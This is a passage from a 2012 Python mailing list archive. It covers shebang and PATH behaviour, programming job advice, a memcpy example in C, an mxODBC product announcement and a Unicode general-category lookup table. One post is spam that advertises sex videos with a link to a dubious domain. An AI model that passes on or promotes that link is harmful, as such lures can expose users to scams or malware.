language thoroughly? Or just a little of >> many languages? > > There is a quote by Bruce Lee to the effect: > I am not afraid of the man who knows 10,000 kicks > I am afraid of the man who has practised 1 kick 10,000 times It's worth pointing out that kicks stay relevant for your entire life. Unfortunately, many programming languages don't. I guess the next metaphor would be stock investments and diversification. Point is, don't just practice one kick. -- Devin From jpiitula at ling.helsinki.fi Fri Dec 14 02:07:44 2012 From: jpiitula at ling.helsinki.fi (Jussi Piitulainen) Date: 14 Dec 2012 09:07:44 +0200 Subject: Running a python script under Linux References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: Steven D'Aprano writes: > I have a Centos system which uses Python 2.4 as the system Python, so I > set an alias for my personal use: > > [steve at ando ~]$ which python > alias python='python2.7' > /usr/local/bin/python2.7 > > > When I call "python some_script.py" from the command line, it runs under > Python 2.7 as I expected. So I give the script a hash-bang line: > > #!/usr/bin/env python > > and run the script directly, but instead of getting Python 2.7, it runs > under Python 2.4 and gives me system errors. > > When I run env directly, it ignores my alias: > > steve at ando ~]$ /usr/bin/env python -V > Python 2.4.3 The alias is known only to the shell for which it is defined. The shell does nothing with it when it occurs in an argument position. So env receives just the six-letter string "python" which it resolves as a program name by walking the file system along your PATH until it finds the program. Why not just set your PATH so that the python that is python2.7 is found first. If this breaks something, your alias would also have broken that something if aliases worked the way you wanted. Try. From paul.nospam at rudin.co.uk Fri Dec 14 02:30:01 2012 From: paul.nospam at rudin.co.uk (Paul Rudin) Date: Fri, 14 Dec 2012 07:30:01 +0000 Subject: Python parser problem References: <50C8D6B3.40207@gmail.com> <50C8E209.6080803@davea.name> <50CA28AA.4040006@gmail.com> Message-ID: <87obhxjdl2.fsf@no-fixed-abode.cable.virginmedia.net> Chris Angelico writes: > On Fri, Dec 14, 2012 at 6:12 AM, RCU wrote: >> Dave, >> Thanks for the reply. >> The script was originally edited on Windows with proper \r\n endings, > > It's worth noting that many Windows-based editors and interpreters are > quite happy with \n line endings. You may be able to save yourself > some trouble by switching everything to Unix newlines. ... and in particular emacs for windows works well. (holy wars ensue...) From rustompmody at gmail.com Fri Dec 14 02:43:12 2012 From: rustompmody at gmail.com (rusi) Date: Thu, 13 Dec 2012 23:43:12 -0800 (PST) Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> Message-ID: <453498c9-9455-47c0-9f48-0af2918b5dce@pe9g2000pbc.googlegroups.com> On Dec 14, 11:56?am, Devin Jeanpierre wrote: > On Fri, Dec 14, 2012 at 1:13 AM, rusi wrote: > > On Dec 14, 8:33 am, Dave Angel wrote: > >> Do you know any one computer language thoroughly? ?Or just a little of > >> many languages? > > > There is a quote by Bruce Lee to the effect: > > I am not afraid of the man who knows 10,000 kicks > > I am afraid of the man who has practised 1 kick 10,000 times > > It's worth pointing out that kicks stay relevant for your entire life. > Unfortunately, many programming languages don't. > > I guess the next metaphor would be stock investments and > diversification. Point is, don't just practice one kick. > > -- Devin Then again its worth pointing out that there is difference between programming and (a) programming language. If that were not so the whole idea of a 'degree' in computer 'science' that is by implication on par with other sciences would be completely bogus. That academic computer science gets its act more wrong than right is a different question: http://blog.languager.org/2011/02/cs-education-is-fat-and-weak-1.html The point of those posts is that this is the current state of CS education; however that is not necessary condition. From rosuav at gmail.com Fri Dec 14 02:48:18 2012 From: rosuav at gmail.com (Chris Angelico) Date: Fri, 14 Dec 2012 18:48:18 +1100 Subject: Python parser problem In-Reply-To: <87obhxjdl2.fsf@no-fixed-abode.cable.virginmedia.net> References: <50C8D6B3.40207@gmail.com> <50C8E209.6080803@davea.name> <50CA28AA.4040006@gmail.com> <87obhxjdl2.fsf@no-fixed-abode.cable.virginmedia.net> Message-ID: On Fri, Dec 14, 2012 at 6:30 PM, Paul Rudin wrote: > Chris Angelico writes: > >> On Fri, Dec 14, 2012 at 6:12 AM, RCU wrote: >>> Dave, >>> Thanks for the reply. >>> The script was originally edited on Windows with proper \r\n endings, >> >> It's worth noting that many Windows-based editors and interpreters are >> quite happy with \n line endings. You may be able to save yourself >> some trouble by switching everything to Unix newlines. > > ... and in particular emacs for windows works well. > > (holy wars ensue...) So do lots of others. In fact, the only editor I've seen that consistently fails is Notepad. Actually... that sentence stands alone. The only editor I've seen that consistently fails is Notepad. (holy wars are deflected into heaping scorn on an Acceptable Target) ChrisA From info at egenix.com Fri Dec 14 03:05:04 2012 From: info at egenix.com (eGenix Team: M.-A. Lemburg) Date: Fri, 14 Dec 2012 09:05:04 +0100 Subject: ANN: eGenix mxODBC Connect - Python Database Interface 2.0.2 Message-ID: <50CADDB0.3020506@egenix.com> ________________________________________________________________________ ANNOUNCING eGenix.com mxODBC Connect Python Database Interface Version 2.0.2 mxODBC Connect is our commercially supported client-server product for connecting Python applications to relational databases in a truly cross-platform way. This announcement is also available on our web-site for online reading: http://www.egenix.com/company/news/eGenix-mxODBC-Connect-2.0.2-GA.html ________________________________________________________________________ INTRODUCTION The mxODBC Connect Database Interface for Python allows users to easily connect Python applications to all major databases on the market today in a highly portable, convenient and secure way. Python Database Connectivity the Easy Way ----------------------------------------- Unlike our mxODBC Python extension, mxODBC Connect is designed as client-server application, so you no longer need to find production quality ODBC drivers for all the platforms you target with your Python application. Instead you use an easy to install royalty-free Python client library which connects directly to the mxODBC Connect database server over the network. This makes mxODBC Connect a great basis for writing cross-platform multi-tier database applications and utilities in Python, especially if you run applications that need to communicate with databases such as MS SQL Server and MS Access, Oracle Database, IBM DB2 and Informix, Sybase ASE and Sybase Anywhere, MySQL, PostgreSQL, SAP MaxDB and many more, that run on Windows or Linux machines. Ideal for Database Driven Client Applications --------------------------------------------- By removing the need to install and configure ODBC drivers on the client side and dealing with complicated network setups for each set of drivers, mxODBC Connect greatly simplifies deployment of database driven client applications, while at the same time making the network communication between client and database server more efficient and more secure. For more information, please have a look at the mxODBC Connect product page, in particular, the full list of available features. For more information, please see the product page: http://www.egenix.com/products/python/mxODBCConnect/ ________________________________________________________________________ NEWS The 2.0.2 release of mxODBC Connect includes the following enhancements and fixes: Security Enhancements --------------------- * Upgraded client and server to eGenix pyOpenSSL 0.13.0-1.0.1c. Server Enhancements ------------------- * Added support for unlimited connection licenses. * The server installer on Windows will now install the Microsoft Visual C++ 2008 SP1 Redistributable Package (if necessary) instead of shipping with side-by-side runtime DLLs. This resolves installation issues on fresh Windows server installations. * Improved the active connection logging to show more accurate figures in situations where a lot of new connections are opened at once. * mxODBC Connect Server will now free resources on broken connections much earlier than before. The setting is configurable using the max_session_reconnect_time parameter in the server's [Activity] configuration and defaults to 60 seconds. Client Enhancements ------------------- * No fixes were necessary. Misc ---- * Added a note that even with an unlimited license, the server sill uses an adjustable max_session configuration parameter to limit the effect of denial-of-service attacks. mxODBC Connect 2.0 was released on 2012-08-20. These are the highlights of the new release: mxODBC Connect 2.0 Enhanced API ------------------------------- * mxODBC Connect Server now uses mxODBC 3.2 internally and makes its API available in the mxODBC Connect Client. This is a major step forward from the mxODBC 3.0 version used in mxODBC Connect Server 1.0. * mxODBC Connect Client comes with all the mxODBC enhancements, including: - connection and cursor objects can be used as context managers - adjustable parameter styles (qmark or named) - connection .autocommit attribute to easily switch on autocommit - adjustable timestamp resolution - new possibilities to set connection and cursor options to adjust the ODBC objects to your application needs, e.g. set a connection read-only or set a query timeout - adjustable decimal, datetime and string formats - adjustable warning format to be able to handle server warnings without client interaction - greatly improved result set scrolling support - Unicode support for all catalog methods - Access to additional result set meta data via cursor.getcolattribute() Updated Compatibility --------------------- * The server now features all the ODBC driver compatibility enhancements provided by mxODBC 3.2, including improved and updated support for MS SQL Server Native Client, Oracle Instant Client, Sybase ASE, IBM DB2, Teradata and Netezza. * Native Windows x64 builds with signed executables and a tray app rewritten in C are available for Windows 2008R2, Vista and 7 x64, so you can benefit from better performance, fewer UAC dialogs and smaller memory footprint. Asynchronous Execution ---------------------- * mxODBC Connect Client now integrates directly with gevent, allowing client applications to run asynchronous tasks while performing remote database queries. Better Integration ------------------ * mxODBC Connect now uses the official IANA registered port 6632 for both plain text and SSL-encrypted communication. * mxODBC Connect Client now allows selecting the used SSL module from two available options: Python standard lib ssl module and pyOpenSSL. For the full set of changes, please check the mxODBC Connect change log. http://www.egenix.com/products/python/mxODBCConnect/changelog.html ________________________________________________________________________ UPGRADING You are encouraged to upgrade to this latest mxODBC Connect release. When upgrading, please always upgrade both the server and the client installations to the same version - even for patch level releases. Customers who have purchased mxODBC Connect 2.0 licenses can continue to use their licenses with this patch level release. Customers who have purchased mxODBC Connect 1.x licenses can request 20% discount coupons for upgrade purchases. Please contact the eGenix.com Sales Team (sales at egenix.com) with your existing license serials for details. Users of our stand-alone mxODBC product will have to purchase new licenses from our online shop in order to use mxODBC Connect. You can request 30-day evaluation licenses by visiting our web-site or writing to sales at egenix.com, stating your name (or the name of the company) and the number of eval licenses that you need. http://www.egenix.com/products/python/mxODBCConnect/#Evaluation ________________________________________________________________________ DOWNLOADS The download archives as well as instructions for installation and configuration of the product can be found on the product page: http://www.egenix.com/products/python/mxODBCConnect/ If you want to try the package, jump straight to the download instructions: https://cms.egenix.com/products/python/mxODBCConnect/#Download Fully functional evaluation licenses for the mxODBC Connect Server are available free of charge: http://www.egenix.com/products/python/mxODBCConnect/#Evaluation mxODBC Connect Client is always free of charge. _______________________________________________________________________ SUPPORT Commercial support for this product is available from eGenix.com. Please see http://www.egenix.com/services/support/ for details about our support offerings. _______________________________________________________________________ INFORMATION About Python (http://www.python.org/): Python is an object-oriented Open Source programming language which runs on all modern platforms. By integrating ease-of-use, clarity in coding, enterprise application connectivity and rapid application design, Python establishes an ideal programming platform for today's IT challenges. About eGenix (http://www.egenix.com/): eGenix is a software project, consulting and product company focusing on expert services and professional quality products for companies, Python users and developers. Enjoy, -- Marc-Andre Lemburg eGenix.com Professional Python Services directly from the Source (#1, Dec 14 2012) >>> Python Projects, Consulting and Support ... http://www.egenix.com/ >>> mxODBC.Zope/Plone.Database.Adapter ... http://zope.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ 2012-12-05: Released eGenix pyOpenSSL 0.13 ... http://egenix.com/go37 2012-11-28: Released eGenix mx Base 3.2.5 ... http://egenix.com/go36 2013-01-22: Python Meeting Duesseldorf ... 39 days to go ::::: Try our mxODBC.Connect Python Database Interface for free ! :::::: eGenix.com Software, Skills and Services GmbH Pastor-Loeh-Str.48 D-40764 Langenfeld, Germany. CEO Dipl.-Math. Marc-Andre Lemburg Registered at Amtsgericht Duesseldorf: HRB 46611 http://www.egenix.com/company/contact/ From chrisgetzinger52 at gmail.com Fri Dec 14 03:51:59 2012 From: chrisgetzinger52 at gmail.com (chrisgetzinger52 at gmail.com) Date: Fri, 14 Dec 2012 00:51:59 -0800 (PST) Subject: KAJOL SEX VIDEOS''''''''''''''''''' In-Reply-To: References: Message-ID: <05436d31-aaad-4130-a371-8637daf0e18e@googlegroups.com> On Thursday, August 2, 2012 10:35:25 AM UTC-6, devi wrote: > KAJAL SEX VIDEOS > > http://maxworkerds.co.cc From christian at python.org Fri Dec 14 06:42:27 2012 From: christian at python.org (Christian Heimes) Date: Fri, 14 Dec 2012 12:42:27 +0100 Subject: What are the minimum requirements to get a job in? In-Reply-To: References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: <50CB10A3.1070600@python.org> Am 14.12.2012 04:25, schrieb Greg Donald: > On Thu, Dec 13, 2012 at 8:49 PM, wrote: >> My aim is to get a job into google or cisco or facebok. > > I made it to the 4th interview with Google. When they say they want a > "developer" they really mean they want a developer/sysadmin/kernel > hacker/c/c++ guru. I nailed all the Python questions in interviews #2 > and #3, but then at interview #4 they started asking inode questions, > how to implement a compiler, how to design my own version of > memcopy(), etc. It didn't really matter to them that I had 2M > downloads on Google Play, or that I knew Ruby, Rails, Python, Django, > PHP, iOS and Java.. I didn't know how to move 2GBs of memory from > here to there without using memcopy(), so that was that :( Oh, that really hurts. :( I guess, you got your hopes up, when you made it through interview #2 and #3 with flaming blazes. On the other hand you are now aware of your shortcomings and can learn about it for your next interview. To be fair, memcpy() is a pretty simple function. It can be implemented in just about two lines of C code plus five lines of boiler plate. It shows, if you have very basic understanding about memory layout and pointer arithmetics. You have to translate something like def memcpy(dest, src, n): for i in xrange(n): dest[i] = src[i] into C code. Here is a rather nonperformance solution. It copies just one byte per cycle. A better implementation could copy 4 or 8 bytes at once and handle the tail in a switch statement. void *memcpy(void *dest, const void *src, size_t n) { char *destptr = (char*)dest; char *srcptr = (char*)src; while (n--) { *destptr++ = *srcptr++; } return dest; } destptr and srcptr are the memory addresses of a byte (char). *destptr is the value at a specific memory location. The code in the loop copies the value at address srcptr to the location at destptr and then moves both pointers one step to the right (++). That's all. ;) Christian From stefan_ml at behnel.de Fri Dec 14 07:18:04 2012 From: stefan_ml at behnel.de (Stefan Behnel) Date: Fri, 14 Dec 2012 13:18:04 +0100 Subject: What are the minimum requirements to get a job in? In-Reply-To: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: suresh.pinnapa at gmail.com, 14.12.2012 03:49: > My aim is to get a job into google or cisco or facebok. Why? There are lots of attractive places to work at. Choosing a less visible one means that you have a higher chance of getting hired in the first place, simply because less people aim for the same job. If it's a smaller company, it usually also means that you will get a more interesting job because, once hired, you end up working in a less crowded place with more white spots in the environment of pre-staked claims that you drop into. And thus, with a broader set of things for you to do and to try out. So you get more by investing less. Not the worst choice IMHO. Stefan From pander.musubi at gmail.com Fri Dec 14 08:07:51 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Fri, 14 Dec 2012 05:07:51 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: <50ca6d7f$0$29980$c3e8da3$5496439d@news.astraweb.com> References: <50ca6d7f$0$29980$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Friday, December 14, 2012 1:06:23 AM UTC+1, Steven D'Aprano wrote: > On Thu, 13 Dec 2012 07:30:57 -0800, Pander Musubi wrote: > > > > > I was expecting PyPI. Here is the code, please advise on where to submit > > > it: > > > http://pastebin.com/dbzeasyq > > > > If anywhere, either a third-party module, or the unicodedata standard > > library module. > > > > > > Some unanswered questions: > > > > - when would somebody need this function? > When working with Unicode metedata, see below. > > > - why is is called "decodeUnicodeGeneralCategory" when it > > doesn't seem to have anything to do with decoding? It is actually a simple LUT. I like your improvements below. > - why is the parameter "sortable" called sortable, when it > > doesn't seem to have anything to do with sorting? The values return are alphabetically sortable. > > > > > > If this is useful at all, it would be more useful to just expose the data > > as a dict, and forget about an unnecessary wrapper function: > > > > > > from collections import namedtuple > > r = namedtuple("record", "other name desc") # better field names needed! > > > > GC = { > > 'C' : r('Other', 'Other', 'Cc | Cf | Cn | Co | Cs'), > > 'Cc': r('Control', 'Control', > > 'a C0 or C1 control code'), # a.k.a. cntrl > > 'Cf': r('Format', 'Format', 'a format control character'), > > 'Cn': r('Unassigned', 'Unassigned', > > 'a reserved unassigned code point or a noncharacter'), > > 'Co': r('Private Use', 'Private_Use', 'a private-use character'), > > 'Cs': r('Surrogate', 'Surrogate', 'a surrogate code point'), > > 'L' : r('Letter', 'Letter', 'Ll | Lm | Lo | Lt | Lu'), > > 'LC': r('Letter, Cased', 'Cased_Letter', 'Ll | Lt | Lu'), > > 'Ll': r('Letter, Lowercase', 'Lowercase_Letter', > > 'a lowercase letter'), > > 'Lm': r('Letter, Modifier', 'Modifier_Letter', 'a modifier letter'), > > 'Lo': r('Letter, Other', 'Other_Letter', > > 'other letters, including syllables and ideographs'), > > 'Lt': r('Letter, Titlecase', 'Titlecase_Letter', > > 'a digraphic character, with first part uppercase'), > > 'Lu': r('Letter, Uppercase', 'Uppercase_Letter', > > 'an uppercase letter'), > > 'M' : r('Mark', 'Mark', 'Mc | Me | Mn '), # a.k.a. Combining_Mark > > 'Mc': r('Mark, Spacing', 'Spacing_Mark', > > 'a spacing combining mark (positive advance width)'), > > 'Me': r('Mark, Enclosing', 'Enclosing_Mark', > > 'an enclosing combining mark'), > > 'Mn': r('Mark, Nonspacing', 'Nonspacing_Mark', > > 'a nonspacing combining mark (zero advance width)'), > > 'N' : r('Number', 'Number', 'Nd | Nl | No'), > > 'Nd': r('Number, Decimal', 'Decimal_Number', > > 'a decimal digit'), # a.k.a. digit > > 'Nl': r('Number, Letter', 'Letter_Number', > > 'a letterlike numeric character'), > > 'No': r('Number, Other', 'Other_Number', > > 'a numeric character of other type'), > > 'P' : r('Punctuation', 'Punctuation', > > 'Pc | Pd | Pe | Pf | Pi | Po | Ps'), # a.k.a. punct > > 'Pc': r('Punctuation, Connector', 'Connector_Punctuation', > > 'a connecting punctuation mark, like a tie'), > > 'Pd': r('Punctuation, Dash', 'Dash_Punctuation', > > 'a dash or hyphen punctuation mark'), > > 'Pe': r('Punctuation, Close', 'Close_Punctuation', > > 'a closing punctuation mark (of a pair)'), > > 'Pf': r('Punctuation, Final', 'Final_Punctuation', > > 'a final quotation mark'), > > 'Pi': r('Punctuation, Initial', 'Initial_Punctuation', > > 'an initial quotation mark'), > > 'Po': r('Punctuation, Other', 'Other_Punctuation', > > 'a punctuation mark of other type'), > > 'Ps': r('Punctuation, Open', 'Open_Punctuation', > > 'an opening punctuation mark (of a pair)'), > > 'S' : r('Symbol', 'Symbol', 'Sc | Sk | Sm | So'), > > 'Sc': r('Symbol, Currency', 'Currency_Symbol', 'a currency sign'), > > 'Sk': r('Symbol, Modifier', 'Modifier_Symbol', > > 'a non-letterlike modifier symbol'), > > 'Sm': r('Symbol, Math', 'Math_Symbol', > > 'a symbol of mathematical use'), > > 'So': r('Symbol, Other', 'Other_Symbol', 'a symbol of other type'), > > 'Z' : r('Separator', 'Separator', 'Zl | Zp | Zs'), > > 'Zl': r('Separator, Line', 'Line_Separator', > > 'U+2028 LINE SEPARATOR only'), > > 'Zp': r('Separator, Paragraph', 'Paragraph_Separator', > > 'U+2029 PARAGRAPH SEPARATOR only'), > > 'Zs': r('Separator, Space', 'Space_Separator', > > 'a space character (of various non-zero widths)'), > > } > > > > del r > > > > > > Usage is then trivially the same as normal dict and attribute access: > > > > py> GC['Ps'].desc > > 'an opening punctuation mark (of a pair)' > > > Thank you for the improvements. I have some more extra dicts in this way such as: http://www.unicode.org/Public/UNIDATA/UnicodeData.txt where this general category is begin used. This information is useful when handling Unicode metadata. I think I will approach both http://pypi.python.org/pypi/unicodeblocks/ and http://pypi.python.org/pypi/unicodescript/ to see who will adopt this. Perhaps it might be in their mutual interest to join their packages to e.g. unicodemetadata or something similar. Extra ideas on this are still welcome. Thanks for all your help, Pander > > > > > -- > > Steven From d at davea.name Fri Dec 14 08:13:24 2012 From: d at davea.name (Dave Angel) Date: Fri, 14 Dec 2012 08:13:24 -0500 Subject: What are the minimum requirements to get a job in? In-Reply-To: References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> Message-ID: <50CB25F4.2070704@davea.name> On 12/14/2012 01:56 AM, Devin Jeanpierre wrote: > On Fri, Dec 14, 2012 at 1:13 AM, rusi wrote: >> On Dec 14, 8:33 am, Dave Angel wrote: >>> Do you know any one computer language thoroughly? Or just a little of >>> many languages? >> There is a quote by Bruce Lee to the effect: >> I am not afraid of the man who knows 10,000 kicks >> I am afraid of the man who has practised 1 kick 10,000 times > It's worth pointing out that kicks stay relevant for your entire life. > Unfortunately, many programming languages don't. > > I guess the next metaphor would be stock investments and > diversification. Point is, don't just practice one kick. But if you never learn any one move thoroughly, knowing what several others are supposed to look like isn't going to help. i worked once for a company that had a very simple programming test for the interview (only one interview - you either made it, or you didn't). The candidate was asked if he was experienced with the particular language, then given 15 or 20 minutes to write something. On paper, no computer available. Afterwards he was to discuss what he did, why, and what other options were available and what advantages they might have. No library functions were needed. I wrote my answer down, then stopped the interviewer as he was about to leave for 15 minutes. We discussed my answer thoroughly. Later, after I was working there, I discovered that over half of the candidates couldn't write any code for the problem. No starting place for a discussion. Four years later i was hired at a company which prided itself on a tough interview question, which was done on a computer, and usually took an hour or more. They didn't even ask me to try it, nor even tell me about it till long after I started work. People there knew me, and the founder of the company called me when his company had a place where I could fit. -- DaveA From hansmu at xs4all.nl Fri Dec 14 08:18:28 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Fri, 14 Dec 2012 14:18:28 +0100 Subject: Running a python script under Linux In-Reply-To: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> Message-ID: <50cb2724$0$6989$e4fe514c@news2.news.xs4all.nl> On 14/12/12 03:45:18, Steven D'Aprano wrote: > I understand this is not exactly a Python question, but it may be of > interest to other Python programmers, so I'm asking it here instead of a > more generic Linux group. > > I have a Centos system which uses Python 2.4 as the system Python, so I > set an alias for my personal use: > > [steve at ando ~]$ which python > alias python='python2.7' > /usr/local/bin/python2.7 > > > When I call "python some_script.py" from the command line, it runs under > Python 2.7 as I expected. So I give the script a hash-bang line: > > #!/usr/bin/env python > > and run the script directly, but instead of getting Python 2.7, it runs > under Python 2.4 and gives me system errors. > > When I run env directly, it ignores my alias: > > steve at ando ~]$ /usr/bin/env python -V > Python 2.4.3 > > > What am I doing wrong? You're using an alias. Aliases are not normally exported, and even if they are (e.g. ksh can be configure to export aliases), env doesn't recognize them. What would work, is changing your PATH environment variable so that the first python on your PATH is the one you want, or a symlink pointing to it. The Pythonic way to get what you want, is to be explicit: #!/usr/local/bin/python2.7 -V If you do that, it will even work in situations where you can't control PATH, such as CGI scripts and cron jobs. There are situations where using #!/usr/bin/env makes sense, but yours isn't one of them. Hope this helps, -- HansM From darcy at druid.net Fri Dec 14 08:38:25 2012 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Fri, 14 Dec 2012 08:38:25 -0500 Subject: Running a python script under Linux In-Reply-To: <50cb2724$0$6989$e4fe514c@news2.news.xs4all.nl> References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> <50cb2724$0$6989$e4fe514c@news2.news.xs4all.nl> Message-ID: <20121214083825.53f23e7f@dilbert> On Fri, 14 Dec 2012 14:18:28 +0100 Hans Mulder wrote: > The Pythonic way to get what you want, is to be explicit: > > #!/usr/local/bin/python2.7 -V > > If you do that, it will even work in situations where you > can't control PATH, such as CGI scripts and cron jobs. As long as you only run on one system that's OK. That won't work on NetBSD or Linux[1] for example. > There are situations where using #!/usr/bin/env makes sense, > but yours isn't one of them. #! /usr/bin/env python2.7 [1]: Well, Ubuntu anyway. I don't know about the others. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. IM: darcy at Vex.Net From roy at panix.com Fri Dec 14 09:48:54 2012 From: roy at panix.com (Roy Smith) Date: Fri, 14 Dec 2012 09:48:54 -0500 Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: In article , Stefan Behnel wrote: > suresh.pinnapa at gmail.com, 14.12.2012 03:49: > > My aim is to get a job into google or cisco or facebok. > > Why? > > There are lots of attractive places to work at. Choosing a less visible one > means that you have a higher chance of getting hired in the first place, > simply because less people aim for the same job. If it's a smaller company, > it usually also means that you will get a more interesting job because, > once hired, you end up working in a less crowded place with more white > spots in the environment of pre-staked claims that you drop into. And thus, > with a broader set of things for you to do and to try out. > > So you get more by investing less. Not the worst choice IMHO. On the other hand, as somebody who's looking to hire software engineers, I can tell you that we look at prior experience at Google or Facebook as a positive thing on a resume. It's the same way we look at admission to a top-tier school. It doesn't always mean the person is good, but it's a positive signal that's likely to get your resume a second looks. That being said, I've worked for companies ranging from 3 employees to 40,000 employees. I definitely like working for the small ones better. From rosuav at gmail.com Fri Dec 14 09:58:08 2012 From: rosuav at gmail.com (Chris Angelico) Date: Sat, 15 Dec 2012 01:58:08 +1100 Subject: What are the minimum requirements to get a job in? In-Reply-To: References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> Message-ID: On Sat, Dec 15, 2012 at 1:48 AM, Roy Smith wrote: > That being said, I've worked for companies ranging from 3 employees to > 40,000 employees. I definitely like working for the small ones better. My current job has one employee, it's just me and my boss. It's satisfying to know that my work is really significant, but it feels binding in that if I'm not there, the project is largely going to stall. If I were to cease working there, the project would probably fail. That's not such a good thing. Plus, I'm pretty sure working for a biggish company is going to pay a tad more than an internet startup that hasn't yet launched its flagship product can afford... oh well. If the boss's vision is anything to go by, we're going to be bigger than Microsoft, eBay, Facebook, and Google combined, and all by early 2013. So when I start working a one hour week for a six figure salary, I'll let you know. ChrisA From hansmu at xs4all.nl Fri Dec 14 09:59:47 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Fri, 14 Dec 2012 15:59:47 +0100 Subject: Running a python script under Linux In-Reply-To: References: <50ca92be$0$29991$c3e8da3$5496439d@news.astraweb.com> <50cb2724$0$6989$e4fe514c@news2.news.xs4all.nl> Message-ID: <50cb3ee3$0$6921$e4fe514c@news2.news.xs4all.nl> On 14/12/12 14:38:25, D'Arcy J.M. Cain wrote: > On Fri, 14 Dec 2012 14:18:28 +0100 > Hans Mulder wrote: >> The Pythonic way to get what you want, is to be explicit: >> >> #!/usr/local/bin/python2.7 -V >> >> If you do that, it will even work in situations where you >> can't control PATH, such as CGI scripts and cron jobs. > > As long as you only run on one system that's OK. As I understand it, the OP has a single system where the system Python is CPython 2.4, and he has install 2.7 in /usr/local/bin. > That won't work on NetBSD or Linux[1] for example. I would expect it to work, as long as /usr/local/bin/python2.7 exists and is a binary executable for the right architecture. Why wouldn't it work? It doesn't exceed the 32-character limit and it contains only one option. What other pitfalls are there? >> There are situations where using #!/usr/bin/env makes sense, >> but yours isn't one of them. > > #! /usr/bin/env python2.7 On my box, that line might find a python2.7 in the currently active virtualenv, which may have the wrong set of third-party modules in its site-packages. When I write a script that is meant to be used as a utility, independent of which virtualenv is currently active, then I'll make sure that its #! line points at the Python2.7 install I used to test it. > [1]: Well, Ubuntu anyway. I don't know about the others. Just curious, -- HansM From rustompmody at gmail.com Fri Dec 14 10:05:12 2012 From: rustompmody at gmail.com (rusi) Date: Fri, 14 Dec 2012 07:05:12 -0800 (PST) Subject: What are the minimum requirements to get a job in? References: <360cbf06-cb91-4631-a607-8738b08ffa60@googlegroups.com> <6d32ee9d-867e-45b1-b2e8-9c14a4f3610e@jj5g2000pbc.googlegroups.com> Message-ID: On Dec 14, 6:13?pm, Dave Angel wrote: > On 12/14/2012 01:56 AM, Devin Jeanpierre wrote: > > > On Fri, Dec 14, 2012 at 1:13 AM, rusi wrote: > >> On Dec 14, 8:33 am, Dave Angel wrote: > >>> Do you know any one computer language thoroughly? ?Or just a little of > >>> many languages? > >> There is a quote by Bruce Lee to the effect: > >> I am not afraid of the man who knows 10,000 kicks > >> I am afraid of the man who has practised 1 kick 10,000 times > > It's worth pointing out that kicks stay relevant for your entire life. > > Unfortunately, many programming languages don't. > > > I guess the next metaphor would be stock investments and > > diversification. Point is, don't just practice one kick. > > But if you never learn any one move thoroughly, knowing what several > others are supposed to look like isn't going to help. It comes down to the difference between active and passive knowledge. Here is an interview that distinguishes between doing music and merely passively hearing and the unfortunate consequences of assuming the latter is enough: http://jacobneedleman.squarespace.com/blog/2012/12/12/music-is-something-you-do.html Ideas which were summarized by the great pianist Josef Lhevine as follows: If I dont practice for one day I know it If I dont practice for two days my audience knows it If I dont practice for three days the critics know it So much of what passes for CS education is about doling out pre-cooked things -- programs, concepts, jargon -- that companies can be forgiven for being stringent about whom they employ. Heres Alan Kay on Stanford: (One could expect other univs to do worse): I fear ?as far as I can tell? that most undergraduate degrees in computer science these days are basically Java vocational training. I?ve heard complaints from even mighty Stanford University with its illustrious faculty that basically the undergraduate computer science program is little more than Java certification. from http://queue.acm.org/detail.cfm?id=1039523 From pander.musubi at gmail.com Fri Dec 14 11:22:31 2012 From: pander.musubi at gmail.com (Pander Musubi) Date: Fri, 14 Dec 2012 08:22:31 -0800 (PST) Subject: Where to contribute Unicode General Category encoding/decoding In-Reply-To: References: <50ca6d7f$0$29980$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Friday, December 14, 2012 2:07:51 PM UTC+1, Pander Musubi wrote: > On Friday, December 14, 2012 1:06:23 AM UTC+1, Steven D'Aprano wrote: > > > On Thu, 13 Dec 2012 07:30:57 -0800, Pander Musubi wrote: > > > > > > > > > > > > > I was expecting PyPI. Here is the code, please advise on where to submit > > > > > > > it: > > > > > > > http://pastebin.com/dbzeasyq > > > > > > > > > > > > If anywhere, either a third-party module, or the unicodedata standard > > > > > > library module. > > > > > > > > > > > > > > > > > > Some unanswered questions: > > > > > > > > > > > > - when would somebody need this function? > > > > > > > When working with Unicode metedata, see below. > > > > > > > > > > > - why is is called "decodeUnicodeGeneralCategory" when it > > > > > > doesn't seem to have anything to do with decoding? > > > > It is actually a simple LUT. I like your improvements below. > > > > > - why is the parameter "sortable" called sortable, when it > > > > > > doesn't seem to have anything to do with sorting? > > > > The values return are alphabetically sortable. > > > > > > > > > > > > > > > > > > > > If this is useful at all, it would be more useful to just expose the data > > > > > > as a dict, and forget about an unnecessary wrapper function: > > > > > > > > > > > > > > > > > > from collections import namedtuple > > > > > > r = namedtuple("record", "other name desc") # better field names needed! > > > > > > > > > > > > GC = { > > > > > > 'C' : r('Other', 'Other', 'Cc | Cf | Cn | Co | Cs'), > > > > > > 'Cc': r('Control', 'Control', > > > > > > 'a C0 or C1 control code'), # a.k.a. cntrl > > > > > > 'Cf': 